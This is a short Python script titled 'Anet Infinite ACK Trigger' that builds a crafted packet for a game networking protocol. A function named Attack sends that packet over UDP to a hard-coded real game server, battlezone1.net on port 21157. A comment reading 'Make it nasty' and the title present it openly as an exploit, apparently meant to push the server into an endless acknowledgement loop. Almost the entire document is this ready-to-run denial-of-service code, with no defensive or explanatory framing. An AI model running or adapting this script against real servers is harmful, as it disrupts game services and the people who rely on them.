Anet Infinite ACK Trigger

import socket
from os import urandom
from struct import pack, unpack

default_server = "battlezone1.net"
default_port = 21157
default_srvid = b"\x55\x01"

def Attack(host = default_server, port = default_port, srvid = default_srvid):
        # Create socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.bind(("", port)) # Set UDP default port for send operations
        sock.connect((host, port))

        # IP Info
        src_ip = socket.gethostbyname(socket.gethostname())
        src_port = sock.getsockname()[1]
        dst_ip = socket.gethostbyname(host)
        dst_port = port
        public_ip = src_ip

        # Construct initial "SYN" packet
        init_syn_packet = (
            b"dY" + urandom(2) + b"\x15\x05\x06" +

            # Public Address
            socket.inet_aton(public_ip) +
            pack("!H", src_port) +

            # Destination Address
            socket.inet_aton(dst_ip) +
            pack("!H", dst_port) + b"\x07" +

            # Source Address
            socket.inet_aton(src_ip) +
            pack("!H", src_port)
        )

        # Make it nasty
        print(sock.send(init_syn_packet), "of %d bytes sent" % len(init_syn_packet))

if __name__ == "__main__":
    Attack()